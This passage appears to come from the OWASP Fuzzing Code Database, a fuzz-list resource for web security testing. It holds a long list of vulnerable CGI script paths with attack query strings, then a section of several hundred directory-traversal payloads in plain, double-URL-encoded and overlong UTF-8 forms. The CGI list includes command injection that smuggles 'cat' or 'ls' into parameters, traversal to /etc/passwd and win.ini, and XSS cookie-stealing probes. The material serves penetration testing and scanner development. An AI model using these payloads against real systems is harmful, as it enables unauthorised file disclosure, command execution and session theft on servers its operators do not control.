opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> 